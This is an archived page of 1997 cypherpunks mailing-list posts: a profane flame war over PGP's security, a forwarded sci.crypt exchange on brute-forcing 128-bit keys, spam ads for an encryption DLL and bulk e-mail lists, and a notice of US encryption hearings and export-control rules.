roy(a)sendai.scytale.com wroted: > an7575(a)anon.nymserver.com correctly states: > > I always wonder why there seem to be so many lame fucks on > > the cypherpunks list who, rather than responding to the posts > > on the list, seem to be responding to some broken recording > > going on in their own head. > > Something like you not responding to my challenge to produce an exploit, > no doubt. > My point stands. Your point is garbage and will remain garbage. The only 'explotation' involved in this thread is the introduction of issues which were not raised by my post. Rather than respond to the concerns I raised, Alan Olsen chose to spew forth some unrelated diatribe about old memories of people claiming to have 'broken' PGP. The cypherpunks list never seems to lack for members who seem to lack the capacity for independent thought and who then respond to invalid tangents to the issues raised, rather than give an intelligent response to the real issues raised. I noticed, long ago, that if Dr. Vulis posted several pages of intelligent, crypto-related material, then signed off with his "JG is a cocksucker" tag, that I could expect to see perhaps a single post dealing with the crypto issues he raised, and dozens of posts saying "is not" and/or "is too." Am I to presume that Alan and Roy used the Clipper chip as anal suppositories, for safe, secure, protection, right up to the moment that its weaknesses were found? I am certain that they are confident that the plastic Zimmerman they have on their computer dashboards will protect them from harm, but I put more faith in the words of Zimmerman himself, than in those who worship his graven software blindly. When Alan and Roy, among others, have blathered on about 'exploits' long enough to get it out of their system, then perhaps they might consider looking up the word 'compromised' and respond to the issues I raised in my post. Thus far, there has been nobody either competent or willing enough to address them. > Oh, by the way... if you actually do this, I hope other people talk > about it because the *PLONK* you just heard was you hitting my killfile. Ah, yes, the old '*PLONK* and *RUN*' gambit. Is that a 'tail' I see between Roy's legs? TruthMonger

1 0

more info
by C M 17 Dec '03

17 Dec '03

more info --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

1 0

Re: "Experts slam PGP encryption"
by Moi 17 Dec '03

17 Dec '03

e$pam wrote: > Forwarded by Robert Hettinga ----------------------------------------------------------------------- > Date: Wed, 12 Mar 1997 08:19:59 -0500 > From: estone(a)synernet-d-o-t-.com (Ed Stone) (by way of root(a)127.0.0.1 > (Robert A. Hettinga)) > To: rah(a)shipwright.com > Subject: Re: "Experts slam PGP encryption" > Organization: Synernet > Mime-Version: 1.0 > Path: > thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub > 1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink…! > news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet > .net!not-for-mail > Newsgroups: sci.crypt > Lines: 25 > NNTP-Posting-Host: estone.vnet.net > X-Newsreader: Anawave Gravity v1.10.556 > X-Newsreader: Yet Another NewsWatcher 2.3.0 > > In article <5g34c8$4l$1(a)ftel.ftel.co.uk>, I.G.Batten(a)ftel.co.uk > says... > > -----BEGIN PGP SIGNED MESSAGE----- > > > > In article <3324B1D6.2F8D(a)iconn.net>, josmo <josmo(a)iconn.net> wrote: > > > feel rsa is built more for speed. the feds can brute a 128 bit key > > > whenever they want too. the real delema is that if you make it bigger it > > > > Unless IDEA has pathways that make attacks significantly faster than > > brute force possible (and I mean _significantly_, not a few bits) then I > > serious doubt anyone can brute force a 128 bit key. You aren't making > > the mistake of believing that a 128 bit key is 64 times harder to break > > than a 64 bit key, are you? > > > > ian > > If you try *100 trillion* keys per second, and find the key half way > through the keyspace, a 128-bit key will be found in only 5.4 x 10^14 > centuries! > > -- > ------------------------------- > Ed Stone > estone@synernet d o t com > ------------------------------- > > > -------------------------------------------------- > The e$ lists are brought to you by: > > Intertrader Ltd: Just released (Feb 97) "Digital Money Online" > <http://www.intertrader.com/library/DigitalMoneyOnline> > > Where people, networks and money come together: Consult Hyperion > http://www.hyperion.co.uk info(a)hyperion.co.uk > > Like e$pam? Help pay for it! See <http://www.atanda.com/rah.html> > Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/> > > Thanks to the e$ e$lves: > Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> > (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> > Commermeister: Anthony Templer <mailto:anthony@atanda.com> > Interturge: Rodney Thayer <mailto:rodney@sabletech.com> > HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

1 0

Re: "Experts slam PGP encryption"
by TruthMonger 17 Dec '03

17 Dec '03

> From: kilgallen(a)eisner.decus.org > Subject: Re: "Experts slam PGP encryption" > Organization: LJK Software > And of course, the ultimate trust fallacy - > > "I trust this code was signed by that entity." (verifiable) > "I trust that entity is honorable." (judgement call) > > THEREFORE: > > "I trust that entity is competent to avoid security bugs." > > Many > will "trust" those entities which have spent their money on television > ads rather than on avoiding security bugs. ...or trust those who holler loudest and longest about the 'unbreakable' security of this or that product (or snake oil). "I don't care if my computer freezes, "As long as I've got my plastic Jesus, "Sitting right on top of my keyboard." "Spooks and phantoms, they ain't scary, "As long as I've got the Virgin Mary, "Sitting right on top of my keyboard." "The military, they can't kill me, "As long as I've got my buddy, Phil Z. "Sitting right on top of my keyboard." "Moe and Curly, also Larry, "Keep the Feds from being scary, "Sitting right on top of my keyboard. TruthMonger

1 0

*** VSA2048 Cryptography Module ***
by DataETRsch＠aol.com 17 Dec '03

17 Dec '03

Hello, Greetings! DataET Research, Data Engineering Technologies, has recently initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM implements a relatively new, but extensively advanced and sophisticated, encryption algorithm named VSA2048. If you are not interested in incorporating the power of advanced encryption into the software that you develop, you may want to visit http://members.aol.com/dataetrsch/ if you are searching for a help file / system development, installation program development, or shareware distribution and marketing service. Otherwise, please continue on. VSACM (the VSA2048 algorithm)... o Is a royalty-free Windows DLL module featuring advanced cryptography. o Is a cost-effective size of only 50 kilobytes. o Contains more than 120 procedures and functions. o Implements the VSA2048 encryption algorithm. o Allows encryption keys as large as 2048 bits. o Is extensively key and data dependent. o Includes 18 algorithm extensions. o Processes all forms of binary and ASCII files. o Allows multiple encryption layer levels. o Has absolutely no back-doors or magical keys. o Includes time and date locking features. o Includes file specific unique encryption features. o Includes data importance and sensitivity stamping features. VSACM, being a Windows DLL module, can be accessed through programs developed with popular application and database programming languages and environments such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk, dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others. DataET Research has released a shareware trial edition version of VSACM named VSACM V2.0. To download VSACM V2.0 for free, please go to: http://members.aol.com/dataetrsch/vsacm.html. I hope you will consider applying VSACM in the software you develop. Thank-you very much for your time. Sincerely, Jeremy K. Yu-Ramos President DataET Research Data Engineering Technologies

4 3

Re: Failure of centralized certificates - was "Experts slam PGP
by TruthMonger 17 Dec '03

17 Dec '03

e$pam wrote: > From: kilgallen(a)eisner.decus.org (Larry Kilgallen) > Subject: Re: Failure of centralized certificates - was "Experts slam PGP > encryption" > In article <5g8i92$4rs(a)news.ox.ac.uk>, patrick(a)gryphon.psych.ox.ac.uk > (Patrick Juola) writes: > >>As a corporation with diverse ownership, it should be much more complex > >>for VeriSign to subvert their own system for a cause than it would be > >>in the case of an individual such as Phil Zimmermann or David Sternlight. > The only ones we care about are those with "keys to the kingdom". > In the case of those who are so empowered, one needs positive > incentive for them to corrupt the database. Could some political > cause provide that incentive -- yes. Damn good thing that there are no political issues surrounding crypto. TruthMonger

1 0

1001 FREE Places to Promote Your Site!
by Strut Your Stuff 17 Dec '03

17 Dec '03

"Strut Your Stuff!" For 1001 FREE Places to Link your Web Site! http://www.choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ March Special! Send your 25 word classified ad to 100,000 e-mail addresses for $45.00. Add .20 for each additonal word. Send credit card info along with your ad to: ads(a)choicemail.com or visit our Site at: http://www.choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Targeted E-mail Addresses We will build you a fresh targeted e-mail list. Tell us what list you would like to target and we will build the list for you. The list will be yours to keep. Mail to the list as many times as you wish. Your will also receive the e-mail program, Pegasus for FREE. Only $50.00 per thousand names. Send credit card info along with number of addresses you would like and type of list. E-mail to: target(a)choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FREE Newsletter Subscribe to our FREE Net Newsletter. The Net Newsletter offers free on-line marketing strategies, tells you where to find Free Internet services, products or services. To subscribe: Type "subscribe" in the subject line and send an e-mail to: subscribe(a)choicemail.com ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1 0

Upcoming Crypto Actions
by John Young 17 Dec '03

17 Dec '03

In addition to the March 20 House hearing on Goodlatte's HR695 where Phil Karn will testify, there's a Senate hearing on Leahy's PRO-Code bill: March 19; 2:00 p.m. Commerce, Science, and Transportation To hold hearings on S. 377, to promote electronic commerce by facilitating the use of strong encryption. SR-253 This was postponed from March 11, perhaps in concert with Goodlatte to maximize coverage of the issue. Recall that the administration is due to shortly release its policy on international encryption agreements. And BXA has scheduled several actions to comply with The Wassenaar Arrangement: [November 29, 1996 (Volume 61, Number 231)] [Unified Agenda] >From the Federal Register Online via GPO Access [frwais.access.gpo.gov] [Page 62337-62348] DEPARTMENT OF COMMERCE (DOC) [Excerpts] --------------------------------------------------------------------------- Bureau of Export Administration--Final Rule Stage --------------------------------------------------------------------------- Regulation Sequence Title Identifier Number Number --------------------------------------------------------------------------- 669 Changes to the Commerce Control List to Accord With the Wassenaar Arrangement on Export Controls for Conventional Arms and Dual-Use Goods and Technologies.................. 0694-AB35 670 Changes to the Export Administrative Regulations To Implement the Guidelines and Information Sharing Provisions of the Wassenaar Arrangement on Export Controls for Conventional Arms and Dual-Use......................... 0694-AB40 676 Incorporation of the Wassenaar Arrangement Into Category 2 of the Commerce Control List; Expansion of License Exception CIV.............................................. 0694-AB48 [End excerpts]

1 0